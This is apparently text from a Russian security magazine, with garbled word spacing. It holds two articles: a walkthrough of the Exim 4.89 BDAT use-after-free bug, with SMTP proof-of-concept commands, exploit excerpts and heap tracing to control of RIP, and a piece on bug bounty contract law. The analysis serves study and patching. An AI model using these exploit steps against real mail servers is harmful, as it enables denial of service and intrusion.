сфор мирован ного  сооб щения  воз ника ет  ошиб ка  типа  use‐after‐free.  Уяз‐ 
вимость поз воля ет ата кующе му выз вать отказ в обслу жива нии и даже выпол‐ 
нить про изволь ный код на целевой сис теме.

об наружен

ГОТОВИМСЯ К ТЕСТИРОВАНИЮ
Для  более  удоб ного  иссле дова ния  начать  луч ше  все го  с  орга низа ции  тес‐ 
тового  стен да.  Я  рекомен дую  исполь зовать  Docker,  потому  что  кон тей нер
поз воля ет быс тро под нять и нас тро ить нуж ное нам окру жение.

Что бы  тебе  не  приш лось  возить ся,  я  уже  соб рал  готовый  докер‐файл,
который ты можешь ска чать из   и быс трень ко раз вернуть
уяз вимую вер сию Exim.

мо его репози тория

Пос ле запус ка кон тей нера сам сер вер запус кает ся коман дой

/usr/exim/bin/exim ‐bdf ‐d+all

Ключ   нужен для отоб ражения на экра не под робно го лога работы.‐d+all

За пущен ный демон поч тового сер вера Exim 4.89

Так же  нелиш ним будет  воору жить ся  отладчи ком  ,  что бы  кон тро лиро вать
про цесс  выпол нения  при ложе ния.  В  самом  отладчи ке  нуж но  выпол нить
коман ду  ,  потому  что  Exim  запус кает ся
в  режиме  демона,  а  при  под клю чении  кли ента  он  соз дает  отдель ный  форк
для обра бот ки соеди нения. Эта опция поможет перек лючить ся на ново испе‐ 
чен ный про цесс.

gdb

set  follow‐fork‐mode  child

Вклю чение отладки дочер них про цес сов в gdb

Ес ли хочешь без болез ненно потес тить экс пло иты Meh, то рекомен дую запус‐ 
тить еще один  , так как в экс пло итах исполь зует ся биб лиоте ка pwn‐
tools, которая не завелась у меня в Windows и тре бует Linux для х64.

кон тей нер

docker build ‐t . pocexim
docker run ‐‐rm ‐ti ‐‐link=exim4 ‐‐hostname=pocexim pocexim /bin/bash

ПАРА СЛОВ О ЧАНКИНГЕ
Как  и  HTTP  с  его  динами чес кими  пакета ми,  SMTP  под держи вает  отправ ку
писем час тями, без ука зания точ ного раз мера переда ваемых дан ных. За это
отве чает механизм из Extended SMTP под наз вани ем chunking. Он под робно
опи сан  в  раз деле  4.1  спе цифи кации  ,  где  выс тупа ет  под  име нем
SMTP Service Extensions  for  Transmission of  Large  and Binary MIME Messages
(«рас ширения  про токо ла  SMTP  для  переда чи  боль ших  и  бинар ных  сооб‐ 
щений» — перевел как смог!). Переда ча писем час тями впер вые была 

 в Exim вер сии 4.88.

RFC  3030

ре али‐ 
зова на

Фор мат коман ды для переда чи сооб щения час тями такой:

BDAT <размер_сообщения>
<сообщение>

Сим волом  окон чания  переда чи  чан ка  слу жит  точ ка  в  начале  новой  стро ки.
Пос ледний чанк дол жен иметь нулевую дли ну или обоз начать ся кодовым сло‐ 
вом LAST.

Продолжение статьи →
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ПОДРОБНЕЕ ОБ УЯЗВИМОСТИ
Са мый прос той PoC вызыва ется сле дующи ми коман дами к сер веру SMTP.

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0

Сер вер будет спа мить сооб щени ем с кодом 250, уве дом ляя, что получен чанк
раз мером 0 байт.

Ре зуль тат отправ ки прос того PoC

Пос ле череды безус пешных попыток про цесс упа дет.
Во обще,  иссле дова тель  выложил  две  вер сии  работа ющих  PoC  экс пло‐ 

итов. Ска чать их мож но из   об уяз вимос ти на «Баг зилле» или по пря мым
ссыл кам (  и  ).

тре да
од на дру гая

Су дя  по  наз ванию,  экс пло ит  поз воля ет  кон тро лиро вать  регистр  RIP.
Для того что бы экс пло ит отра ботал на тво ей сис теме, тебе при дет ся подоб‐ 
рать кор рек тный раз мер переда ваемых дан ных на пер вом шаге.

PoC успешно отра ботал

Пой дем по поряд ку. Сна чала пос мотрим на файл  .receive.c

/src/receive.c
1783:     if (!store_extend(next‐>text, oldsize, header_size))
1784:       {
1785:       uschar *newtext = store_get(header_size);
1786:       memcpy(newtext, next‐>text, ptr);
1787:       store_release(next‐>text);
1788:       next‐>text = newtext;
1789:       }
1790:     }

Сер вер Exim име ет в сво ем рас поряже нии прос той инс тру мент для управле‐ 
ния кучей (heap), он рас полага ется в фай ле  . Фун кция 
наряду с   и    как раз отно сит ся к это му инс тру мен‐ 
тарию. Эти три фун кции и игра ют клю чевую роль в воз никно вении уяз вимос‐ 
ти. Если точ нее, то это обер тки для реаль ных фун кций с суф фикса ми  .

store.c store_extend
store_get store_release

_3

/src/store.h
30: #define store_extend(addr,old,new) \
31:   store_extend_3(addr, old, new, __FILE__, __LINE__)
...
34: #define store_get(size)      store_get_3(size, __FILE__, __LINE__
)
...
48: extern void    store_release_3(void *, const char *, int);  /* 
so give its  */

Пер вым  шагом  (пос ле  под клю чения  к  сер веру,  конеч но)  в  экс пло ите  будет
отправ ка пач ки невалид ных дан ных в качес тве коман ды. Это нуж но для того,
что бы  отре гули ровать  зна чение  перемен ной  .  Она  отве чает
за оставший ся раз мер кучи.

yield_length

poc.py
14: r.sendline('a'*0x1100+'\x7f')

В  слу чае  с  экс пло итом  Meh  отправ ляет ся  0x1100  сим волов  А.  Количес тво
переда ваемых дан ных как раз и нуж но под бирать под кон крет ную сис тему.

Каж дая  отправ ляемая  кли ентом  коман да  обра баты вает ся  фун кци ей 
. Само содер жимое команд находит ся в  . Перемен ная

ини циали зиру ется  в  стро ке  1671,  и  под  нее  выделя ются  256  (0х100)  байт
памяти.

re‐
ceive_msg next‐>text

/src/receive.c
1579: BOOL
1580: receive_msg(BOOL extract_recip)
...
1588: int  header_size = 256;
...
1668: /* Control block for the next header to be read. */
1669:
1670: next = store_get(sizeof(header_line));
1671: next‐>text = store_get(header_size);

Ес ли  передан ная  коман да  боль ше,  чем  ,  то  выделя ется
еще один блок памяти.

header_size

/src/store.c
143: if (size > yield_length[store_pool])
144:   {
145:   int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : 
size;
146:   int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
...
163:   if (!newblock)
164:     {
165:     pool_malloc += mlength;           /* Used in pools */
166:     nonpool_malloc ‐= mlength;        /* Exclude from overall 
total */
167:     newblock = store_malloc(mlength);

Для это го исполь зует ся стан дар тная фун кция из биб лиоте ки glibc  .malloc

/src/store.h
36: #define store_malloc(size)   store_malloc_3(size, __FILE__, 
__LINE__)

/src/store.c
508: store_malloc_3(int size, const char *filename, int linenumber)
509: {
...
514: if (!(yield = malloc((size_t)size)))

Эту  выделен ную  допол нитель но  память  назовем  .  Давай  пос‐ 
мотрим, как будет менять ся сос тояние в раз ные эта пы выпол нения фун кции

. Текущий блок памяти для работы — это  .

первая_куча

store_get первая_куча

/src/store.c
170:     if (!chainbase[store_pool])
171:       chainbase[store_pool] = newblock;
172:     else
173:       current_block[store_pool]‐>next = newblock;
174:     }

Раз мер выделен ной кучи   равен 0x2000.yield_length

/src/store.c
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock‐>length;

Вы делен ная память для пер вого бло ка heap

next_yield = пер вая_куча + 0x10

/src/store.c
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_
STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], 
yield_length[store_pool]);
181:   }

next_yield = next_yield + 0x100 = пер вая_куча + 0x110

/src/store.c
208: next_yield[store_pool] = (void *)((char *)next_yield[store_pool]
+ size);

Раз мер  выделен ной  кучи  ста новит ся  рав ным 

.

yield_length  = 
yield_length ‐ 0x100 = 0x1f00

/src/store.c
209: yield_length[store_pool] ‐= size;

Вто рой шаг в экс пло ите — это отправ ка коман ды BDAT для перехо да в режим
переда чи чан ков (CHUNKING). При обра бот ке коман ды сер вером вызыва ется
фун кция  .bdat_getc

poc_v1.py
15: r.sendline('BDAT 1')
16: r.sendline(':BDAT \x7f')

/src/smtp_in.c
464: /* Get a byte from the smtp input, in CHUNKING mode.
...
478: */
...
480: int
481: bdat_getc(unsigned lim)
482: {
...
570:     case BDAT_CMD:
571:       {
572:       int n;

Пос ле того как передан раз мер чан ка, фун кция   про бует про читать
сле дующую коман ду.

bdat_getc

/src/smtp_in.c
533:   /* Expect another BDAT cmd from input. RFC 3030 says nothing 
about
534:   QUIT, RSET or NOOP but handling them seems obvious */
535:
536: next_cmd:

Так  как  мы  переда ли  DELETE  ( )  в  качес тве  раз мера  чан ка  в  коман де
BDAT,  то  выпол нение фун кции  завер шает ся  вызовом    и  воз‐ 
вра том ошиб ки.

\x7f
synprot_error

/src/smtp_in.c
574:       if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, 
&n) < 1)
575:    {
576:    (void) synprot_error(L_smtp_protocol_error, 501, NULL,
577:      US"missing size for BDAT command");
578:    return ERR;
579:    }

Фун кция    находит ся  в  этом же фай ле    и  вызыва ет
, если встре чает ся любой непечат ный сим вол, потому что исполь‐ 

зует ся фун кция  .

synprot_error smtp_in.c
store_get

string_printing2

Об работ ка сооб щения об ошиб ке при пар синге невер ного зна чения
раз мера чан ка в коман де BDAT

/src/smtp_in.c
2843: static int
2844: synprot_error(int type, int code, uschar *data, uschar *errmess
)
2845: {
...
2848: log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s",
2849:   (type == L_smtp_syntax_error)? "syntax" : "protocol",
2850:   string_printing(smtp_cmd_buffer), host_and_ident(TRUE), 
errmess);

/src/macros.h
46: /* For almost all calls to convert things to printing charac
ters, we want to
47: allow tabs. A macro just makes life a bit easier. */
48:
49: #define string_printing(s) string_printing2((s), TRUE)

В  качес тве  аргу мен та  в    переда ется  раз мер.  Он  выс читыва ется
сле дующим обра зом. Раз мер коман ды   равен шес ти бай там, под‐ 
ста вив это зна чение в фор мулу вычис ления раз мера (стро ка 307), получим:

store_get
BDAT \x7f

length + nonprintcount * 3 + 1 => 6 + 1*3 + 1 => 0x0a байт

/src/string.c
304: /* Get a new block of store guaranteed big enough to hold the
305: expanded string. */
306:
307: ss = store_get(length + nonprintcount * 3 + 1);

Пос ле  вызова  фун кции  мы  сно ва  попада ем  в    (стро ка  143).  Так
как   <  , то оче ред ного рас ширения раз мера heap не будет
до  тех пор, пока память не закон чится или ее раз мера не будет дос таточ но
для хра нения передан ных дан ных.

store.c
0xa yield_length

0xa => 0x10 (вырав ненный раз мер)

/src/store.c
55: #define alignment \
56:   ((sizeof(void *) > sizeof(double))? sizeof(void *) : sizeof(
double))

/src/store.c
137: if (size % alignment != 0) size += alignment ‐ (size % alignment
);

 
 

return next_yield = пер вая_куча + 0x110

next_yield = пер вая_куча + 0x120

yield_length = 0x1f00 - 0x10 = 0x1ef0

Пос ледним  шагом  экс пло ит  отправ ляет  боль шое  количес тво  дан ных
для того, что бы уве личить раз мер зап рашива емой памяти.

poc.py
19: s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
20: r.send(s+ ':\r\n')

Сно ва попада ем в файл   и чита ем отправ ленные экс пло итом дан‐ 
ные. Этим занима ется цикл, который начина ется на стро ке 1750.

receive.c

/src/receive.c
1750: for (;;)
1751:   {

А  сле дующее  усло вие  как  раз  содер жит  код,  который  и  вызыва ет  сра баты‐ 
вание уяз вимос ти use‐after‐free. Раз берем его.

/src/receive.c
1778:   if (ptr >= header_size ‐ 4)
1779:     {

Ког да  передан ные  дан ные  боль ше  или  рав ны  0xFC  (0x100‐4),  мы  вхо дим
в усло вие, и затем опять вызыва ется фун кция  .store_extend

/src/receive.c
1780:     int oldsize = header_size;
1781:     /* header_size += 256; */
1782:     header_size *= 2;
1783:     if (!store_extend(next‐>text, oldsize, header_size))
1784:       {
1785:       uschar *newtext = store_get(header_size);
1786:       memcpy(newtext, next‐>text, ptr);
1787:       store_release(next‐>text);
1788:       next‐>text = newtext;
1789:       }

Че му  рав но  зна чение  ,  мы  уже  выяс нили  выше  (пер вая_куча  +
0x10),  перемен ная    рав на  0x100,  а    равен  0x100*2,  то
есть 0x200.

next‐>text
oldsize header_size

За тем внут ри фун кции   отра баты вает усло вие.store_extend

/src/store.c
276: if ((char *)ptr + rounded_oldsize != (char *)(next_yield[store_
pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize ‐ oldsize)
278:   return FALSE;

Фун кция воз вра щает FALSE, потому что:

next_yield = первая_куча + 0x120
ptr + 0x100 = первая_куча + 0x110

Это зна чение получи лось, потому что в   выделя ется допол‐ 
нитель ный учас ток памяти. А зна чит, в receive_msg воз ника ет дис баланс раз‐ 
мера кучи. Это рас хожде ние фик сится оче ред ным вызовом   с аргу‐ 
мен том 0х200.

string_printing

store_get

return next_yield = первая_куча + 0x120
next_yield = первая_куча + 0x320
yield_length = 0x1ef0 ‐ 0x200 = 0x1cf0

За тем поль зователь ские дан ные копиру ются в новую кучу.
Те перь пос мотрим на реали зацию фун кции  . Проб лема —

как раз в ней. Пос ле осво бож дения кучи оста ется 0x1cf0 байт. Фун кция 
из  биб лиоте ки  glibc  выпол няет  осво бож дение  бло ка  памяти,  но  пос ле  ее
работы  осво бож денная  память  по‐преж нему  может  быть  исполь зована.
Перед нами уяз вимость use‐after‐free.

store_release
free

/src/store.c
449: store_release_3(void *block, const char *filename, int linenu
mber)
450: {
451: storeblock *b;
452:
453: /* It will never be the first block, so no need to check that. 
*/
454:
455: for (b = chainbase[store_pool]; b != NULL; b = b‐>next)
456:   {
457:   storeblock *bb = b‐>next;
458:   if (bb != NULL && (char *)block == (char *)bb + ALIGNE
D_SIZEOF_STOREBLOCK)
459:     {
460:     b‐>next = bb‐>next;
...
482:     free(bb);
483:     return;
484:     }

Сре ди   и в то же вре мя 
. Пос коль ку экс пло ит отправ ляет боль шое количес тво дан ных,

то раз мер кучи уве личи вает ся пос тепен но.

bb = chainbase‐>next = первая_куча next‐>text 
== bb + 0x10

store_extend(next‐>text, 0x200, 0x400)
store_extend(next‐>text, 0x400, 0x800)
store_extend(next‐>text, 0x800, 0x1000)

Уве личе ние раз мера выделен ной памяти с помощью фун кции
store_extend

Но все эти вызовы не удов летво ряют усло вию из  .store.c

/src/store.c
276: if ((char *)ptr + rounded_oldsize != (char *)(next_yield[store_
pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize ‐ oldsize)
278:   return FALSE;

В резуль тате фун кция воз вра щает TRUE, поэто му выпол нение не переда ется
в уяз вимую вет ку кода. А вот ког да выпол нение доходит до вызова 

 c аргу мен тами  , воз вра щает ся FALSE. Так
как усло вие   соб люда ется, мы
попада ем  в  вызов  .  В  нашем  слу чае 

, и поэто му выпол нение прог раммы сво рачи вает в этот учас ток кода:

store_ex‐
tend next‐>text, 0x1000, 0x2000

0x2000‐0x1000 > yield_length[store_pool]
store_get(0x2000) 0x2000  >  yield‐

_length

/src/store.c
129: store_get_3(int size, const char *filename, int linenumber)
130: {

Вот мы и доб рались до клю чевой точ ки экс пло ита. Сна чала 
, а затем  .

newblock = cur‐
rent_block = heap1 newblock = newblock‐>next

/src/store.c
151:   if (  (newblock = current_block[store_pool])
152:      && (newblock = newblock‐>next)
153:      && newblock‐>length < length
...
176:   current_block[store_pool] = newblock;
177:   yield_length[store_pool] = newblock‐>length;
178:   next_yield[store_pool] =
179:     (void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_
STOREBLOCK);
180:   (void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], 
yield_length[store_pool]);
181:   }

Во  вре мя  работы    перемен ные  меня ются  сле дующим  обра зом:
. В биб лиоте ке glibc есть  гло баль‐ 

ный объ ект под наз вани ем main_arena, он кор невой для всей памяти, выделя‐ 
емой под кучу.

store_get
первая_куча‐>next = fd = main_arena

Схе мати чес кая струк тура менед жера кучи heap в Linux

 
 

 

current_block = main_arena

next_yield = main_arena + 0x10

return next_yield = main_arena + 0x10

next_yield = main_arena + 0x2010

От ладка пос ледне го вызова фун кции store_get перед кра шем

Пос ле вызова   отра баты вает фун кция  .store_get memcpy

/src/receive.c
1785:       uschar *newtext = store_get(header_size);
1786:       memcpy(newtext, next‐>text, ptr);
1787:       store_release(next‐>text);

Пе ремен ная newtext  содер жит  зна чение,  которое вер нула  , и она
рав на  .

store_get
main_arena + 0x10

Дан ные,  отправ ленные  поль зовате лем,  записы вают ся  в  .
В резуль тате пос ле осво бож дения памяти и про дол жения работы прог раммы
выпол нение переда ется на учас ток памяти по адре су  , и про цесс
пада ет в SIGSEGV, Segmentation fault.

main_arena

0xdeadbeef

Краш про цес са Exim пос ле успешной экс плу ата ции. RIP = 0xdeadbeef

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЧТО ДАЛЬШЕ
Ра зуме ется,  это  толь ко  proof  of  concept.  Для  реаль ной  экс плу ата ции  нуж но
еще попотеть, да и далеко не на каж дой сис теме это будет воз можно. В сов‐ 
ремен ных  дис три бути вах  Linux  сущес тву ет  защита  от  атак  подоб ного  рода.
Но и наде ять ся толь ко на эти механиз мы тоже не сто ит, поэто му рекомен дую
ско рее обно вить Exim до пос ледней вер сии, если он сто ит на тво ей сис теме.

Неч то похожее было   в популяр ной качал ке wget. Там
тоже вскры лась проб лема в алго рит ме работы с чан ками, толь ко уяз вимость
была  свя зана  с  перепол нени ем  буфера.  Кто  зна ет,  где  еще может  всплыть
подоб ный баг?

не дав но обна руже но
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ВЗЛОМ

Прог раммы Bug Bounty поз воля ют  хакеру легаль но зарабо‐ 
тать,  а  вла дель цам  сер висов  —  сво евре мен но  получить
информа цию  о  най ден ных  уяз вимос тях.  Но  если  опыт ный
спе циалист  не  готов  работать  на  усло виях  Bug  Bounty,  то
вла делец  прог раммы  может  пред ложить  ему  вза имо выгод‐ 
ный  договор.  О  юри дичес ких  нюан сах  такого  метода  сот‐ 
рудни чес тва мы и погово рим в этой статье.

Прог рамма Bug Bounty — это свод пра вил, который опре деля ет, в каких пре‐ 
делах может вес ти свою деятель ность баг хантер, в течение какого вре мени,
какой инс тру мен тарий исполь зовать и уяз вимос ти какого рода будут при няты
в качес тве положи тель ного резуль тата. Так же опре деля ется порядок вып лат
и дру гие детали.

В  боль шинс тве  слу чаев  такой  свод  пра вил  открыт,  он  обна родо ван
для  озна ком ления  и  дос тупен  всем  жела ющим  (или  дос таточ но  широко му
кру гу лиц). Ког да же вла делец прог рам мно го про дук та хочет прив лечь к тес‐ 
тирова нию огра ничен ный круг спе циалис тов, кон крет ного челове ка или ком‐ 
панию, то, как пра вило, зак люча ется договор или сог лашение, где про писы‐ 
вают ся все его основные усло вия. Его содер жание не обна роду ется.

КАКОЙ ИМЕННО ДОГОВОР ЗАКЛЮЧАЕТСЯ ДЛЯ ПОИСКА БАГОВ?
По сути, баг хантер, выяв ляя уяз вимос ти, ока зыва ет вла дель цу иссле дуемо го
прог рам мно го  про дук та  услу ги.  Поэто му  вер ным  решени ем  видит ся  офор‐ 
мле ние  догово ра  на  ока зание  услуг.  Не  сле дует  путать  такой  договор
с догово ром на выпол нение работ (догово ром под ряда).

МЕЖДУ КЕМ ЗАКЛЮЧАЕТСЯ ДОГОВОР?
Как пра вило, договор на подоб ные дей ствия зак люча ется меж ду дву мя сто‐ 
рона ми, одна из которых — пра вооб ладатель тес тиру емо го про дук та (заказ‐ 
чик),  а  дру гая  —  тот,  кто  будет  выпол нять  тес тирова ние  (исполни тель).
Исполни телем может быть как физичес кое лицо (если прив лека ется кон крет‐ 
ный спе циалист), так и ком пания, если заказ чик прив лека ет орга низа цию.

МОЖЕТ ЛИ БАГХАНТЕР ВНОСИТЬ ПРАВКИ В ДОГОВОР
ЗАКАЗЧИКА?
В целом да, но это зависит от догово рен ностей меж ду сто рона ми догово ра
и их позици ями по догово ру. Если баг ханте ру невыго ден договор в редак ции
заказ чика  и  при  этом  он  готов  пой ти  на  риск  отка за  дру гой  сто роны,  то  он
может поп робовать выд винуть свои  усло вия и перес мотреть  усло вия  заказ‐ 
чика.  В  кон це  кон цов,  у  нас  сущес тву ет  прин цип  сво боды  воли  догово ра,
по которо му сто роны впра ве сог ласовы вать усло вия.

Граж дан ский кодекс РФ, статья 421. Сво бода догово ра
1. Граж дане и юри дичес кие лица сво бод ны в зак лючении догово ра.
2.   <...>
3.   <...>
4. Ус ловия  догово ра  опре деля ются  по  усмотре нию  сто рон,  кро ме  слу чаев,
ког да  содер жание  соот ветс тву юще го  усло вия  пред писано  законом
или ины ми пра вовы ми акта ми (статья 422).

По это му,  если  заказ чик  приш лет  про ект  догово ра  в  нередак тиру емом  виде
и ска жет,  что никакие прав ки вно сить нель зя,  такая позиция не дол жна вво‐ 
дить в  заб лужде ние. Как  видишь,  законом пре дус мотре но,  что  усло вия дол‐ 
жны  быть  сог ласова ны  с  обе их  сто рон.  Поэто му,  если  некото рые  прав ки
для  тебя  кри тич ны,  не  стес няй ся  отста ивать  свою  позицию.  Если  воз никнут
спо ры, они будут раз решать ся ком петен тным арбитром с уче том содер жания
догово ра, поэто му важ но, что имен но в нем написа но.

МОЖЕТ ЛИ БАГХАНТЕР ПРЕДОСТАВИТЬ ЗАКАЗЧИКУ СВОЙ
ДОГОВОР?
Да,  впол не.  Если  ты  уже  опыт ный  спец  и  у  тебя  налаже но  вза имо дей ствие
с раз ными про изво дите лями соф та, то неп лохо иметь свой шаб лон догово ра.
Но будь готов к тому, что такой договор будет откло нен (и нас тоятель но пред‐ 
ложен встреч ный вари ант догово ра заказ чика) или серь езно отре дак тирован.

Ес ли  в  качес тве  исполни теля  выс тупа ет  ком пания,  то,  конеч но,  ей  луч ше
иметь свой шаб лон догово ра, с которым будет удоб но работать. В про тив ном
слу чае  при дет ся  раз бирать ся  с  вер сией  догово ра  каж дого  заказ чика.  Раз‐ 
личия в них уве личат вре мя, которое тре бует ся на сог ласова ние.

СТОИТ ЛИ НАЧИНАТЬ РАБОТАТЬ ДО СОГЛАСОВАНИЯ ДОГОВОРА?
Это зависит от сте пени доверия меж ду заказ чиком и баг ханте ром. Ког да вы
работа ете не в пер вый раз и зна ете друг дру га, мож но начинать работу и сог‐ 
ласовы вать договор парал лель но. Если же для сто рон это пер вое вза имо дей‐ 
ствие, то луч ше, конеч но, прис тупать к поис ку уяз вимос тей толь ко пос ле зак‐ 
лючения догово ра.

Вдруг сто роны так и не при дут к сог ласию — тог да для заказ чика оста ется
риск,  что  баг хантер  зав ладе ет  кон фиден циаль ной  информа цией  о  про дук те
и смо жет исполь зовать ее во вред, а иссле дова тель рис кует получить обви‐ 
нение в неп равомер ном исполь зовании прог рам мных про дук тов, то есть объ‐ 
ектов тес тирова ния.

КАКИЕ УСЛОВИЯ ДОЛЖНЫ БЫТЬ ОТРАЖЕНЫ В ДОГОВОРЕ?
Мы  уже  обоз начили,  что  подоб ный  договор  сле дует  ква лифи циро вать
как  договор  на  ока зание  услуг.  В  дей ству ющем  рос сий ском  законо датель‐ 
стве  отно шения  сто рон  по  такому  типу  догово ра  регули руют ся 

.  Для  нас
в осо бен ности инте рес ны положе ния статьи 779 из этой гла вы.

гла‐ 
вой  39  Граж дан ско го  кодек са  РФ  «Воз мез дное  ока зание  услуг»

Статья 779. Договор воз мез дно го ока зания услуг
1. По  догово ру  воз мез дно го  ока зания  услуг  исполни тель  обя зует ся
по заданию заказ чика ока зать услу ги (совер шить опре делен ные дей ствия
или осу щес твить опре делен ную деятель ность), а заказ чик обя зует ся опла‐ 
тить эти услу ги.

2. Пра вила нас тоящей гла вы при меня ются к догово рам ока зания услуг свя‐ 
зи,  медицин ских,  ветери нар ных,  ауди тор ских,  кон суль таци онных,
информа цион ных услуг, услуг по обу чению, турис тичес кому обслу жива нию
и иных, за исклю чени ем услуг, ока зыва емых по догово рам, пре дус мотрен‐ 
ным гла вами 37, 38, 40, 41, 44, 45, 46, 47, 49, 51, 53 нас тояще го Кодек са.

По  сво ей  сути  поиск  и  выяв ление  багов —  это  деятель ность  спе циалис та,
вклю чающая в себя: 1) обна руже ние необ ходимой информа ции, 2) фик сацию
спо соба  ее  обна руже ния  (сос тавле ние  инс трук ции),  3)  переда чу  этой
информа ции  заказ чику.  Допол нитель ным  дей стви ем  может  быть  и  пре дос‐ 
тавле ние  све дений  о  том,  как  имен но  устра нить  выяв ленные  недоче ты
наилуч шим обра зом (то есть сво его рода кон суль тирова ние). Поэто му такая
деятель ность  несет  в  себе  приз наки  услуг  информа цион ных  и  кон суль таци‐ 
онных, которые как раз и упо мина ются сре ди про чих. Имен но поэто му такая
деятель ность рас ценива ется как услу га, а не как работа.

За коном опре деле но,  какие имен но  усло вия  сле дует  счи тать  сущес твен‐ 
ными при мени тель но к догово ру на ока зание услуг. К ним отно сят ся:
1.   — под робный перечень услуг, которые исполни тель
ока жет  заказ чику.  Здесь  опи сыва ются  сами  услу ги  (поиск,  выяв ление,
сбор  необ ходимой  информа ции,  пре дос тавле ние  ее  заказ чику),  а  так же
уста нав лива ются пре делы их ока зания, то есть перечис ляют ся те прог рам‐ 
мные  про дук ты  и  решения,  которые  будут  иссле довать ся  на  пред мет
отсутс твия оши бок.

Пред мет догово ра

2.    —  явным  обра зом  опре делен ный  пери од  вре‐ 
мени,  в  течение  которо го  исполни тель  будет  ока зывать  свои  услу ги.
Как  окон чание  услуг  может  уста нав ливать ся  не  толь ко  кон крет ная  дата,
но  и  момент  нас тупле ния  опре делен ного  дей ствия  или  события  (нап‐ 
ример,  тес тирова ние  про дук та  в  вер сии  1.0  до  тех  пор,  пока  не  будет
выяв лено десять уяз вимос тей). Здесь, прав да, судеб ной прак тике извес‐ 
тны  раз ные  под ходы.  Есть  при меры  судеб ных  дел,  в  которых  суд  делал
вывод, что невоз можно пос тавить наличие ока зан ных услуг в зависи мость
от  дос тижения  кон крет ного  резуль тата  (см.  пос танов ление  ФАС  Даль‐ 
невос точно го окру га от 24 мар та 2014 года по делу № А51‐8734/2012 —

). А есть и судеб ные при меры с пря мо про тиво полож ными вывода ми
(см. 
).

Срок  ока зания  услуг

PDF
пос танов ление Пре зиди ума ВАС РФ от 24 янва ря 2012 года № 11563‐
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Ес ли заказ чик будет вып лачивать лов цу багов воз награж дение за про‐ 

делан ную работу, то в этом слу чае воз ника ет допол нитель ное усло вие:
3.   — раз мер воз награж дения исполни теля за ока зан ные
услу ги. Из догово ра дол жно явно сле довать, в какой валюте он опре делен
и  в  каком  раз мере  (если  воз награж дение  денеж ное).  Сто ронам  луч ше
кон кре тизи ровать  в  догово ре,  полага ется  ли  воз награж дение  исполни‐ 
телю,  если  за  весь  срок  дей ствия  догово ра  он  дей стви тель но  ока зывал
услу ги,  но  при  этом  никако го  резуль тата  в  виде  най ден ных  оши бок
или уяз вимос тей при нес ти заказ чику не смог.

Сто имость услуг

Воп рос  о  том,  явля ется  ли  сто имость  услуг  (цена  догово ра)  сущес твен ным
усло вием,  в  судеб ной  прак тике  тоже  реша ется  по‐раз ному.  Есть  решения,
в которых сто имость услуг приз нана сущес твен ным усло вием догово ра — см.
пос танов ление  ФАС  Запад но‐Сибир ско го  окру га  от  10  августа  2006  года
по делу № Ф04‐4313/2006 (24369‐А03‐36), но есть решения, утвер жда ющие
обратное  (см.  пос танов ление  АС  Запад но‐Сибир ско го  окру га
от 4 июня 2015 года по делу № А67‐5688/2014 —  ).PDF

Ес ли  в  догово ре  сто роны  сог ласова ли  не  все  сущес твен ные  усло вия,  то
договор может быть приз нан незак лючен ным, и в этом есть свои рис ки. Нап‐ 
ример, если договор не зак лючен, то, опла тят ли исполни телю услу ги, будет
зависеть  исклю читель но  от  воли  заказ чика  (если  юри дичес ки  заказ  услуг
офор млен не был, то и обя зан ности опла ты у заказ чика не воз ника ет).

Что, если договор был под писан, но не содер жит в себе одно из сущес‐ 
твен ных  усло вий?  Если  заказ чик  хотя  бы  час тично  при нял  от  исполни теля
резуль таты его услуг, то при воз никно вении спо ров этот факт дает исполни‐ 
телю  пра во  все  рав но  тре бовать  приз нать  договор  зак лючен ным  (см.
пункт 3 статьи 432 Граж дан ско го кодек са РФ).

КАКОЙ ДОГОВОР ЗАКЛЮЧАТЬ ДЛЯ КОНСУЛЬТИРОВАНИЯ
СОТРУДНИКОВ ЗАКАЗЧИКА?
Ес ли заказ чик хочет, что бы спе циалист или ком пания про кон суль тирова ли его
сот рудни ков по воп росам работы с уяз вимос тями  (а не иска ли баги),  то и в
этом  слу чае  зак люча ется  договор  на  ока зание  услуг,  пос коль ку  кон суль‐ 
тирова ние отно сит ся имен но к ним.

Сле дует  иметь  в  виду,  что бух галте рии  заказ чика,  ско рее  все го,  понадо‐ 
бит ся отчет исполни теля об объ еме ока зан ных услуг, поэто му луч ше заранее
уточ нить  детали  у  бух галте ра  и  быть  готовым  пре дос тавить  необ ходимую
информа цию.

МОЖНО ЛИ ЗАКЛЮЧИТЬ ДОГОВОР В ЭЛЕКТРОННОМ ВИДЕ?
Да,  но  нуж но  будет  соб люсти  нес коль ко  усло вий.  Обыч но,  ког да  заказ чик
и  баг хантер  находят ся  в  раз ных  городах  или  стра нах,  одна  сто рона  под‐ 
писыва ет  договор  и  отправ ляет  оба  бумаж ных  экзем пля ра  дру гой  сто роне,
а та в ответ при сыла ет одну из под писан ных копий. На это тре бует ся вре мя.
Куда про ще и быс трее зак лючить договор в элек трон ном виде. В таком слу‐ 
чае нуж но иметь в виду сле дующие момен ты:

 Если сто роны решили
обме нять ся  ска нами догово ра  по  элек трон ной  поч те,  то  каж дой  сто роне
сле дует пос тавить свою под пись в сог ласован ную вер сию догово ра и нап‐ 
равить  свой  скан  дру гой.  Как  вари ант, мож но  исполь зовать  элек трон ную
под пись  —  для  это го  пот ребу ются  соот ветс тву ющие  циф ровые  сер‐ 
тифика ты  или  же  сер вис  наподо бие  DocuSign.  Этот  слу чай  обго ворен
в статье 434 Граж дан ско го кодек са РФ:

• Каж дая сто рона дол жна под писать договор.

Статья 434. Фор ма догово ра
1. <...>
2. До говор  в  пись мен ной  фор ме  может  быть  зак лючен  путем  сос тавле ния
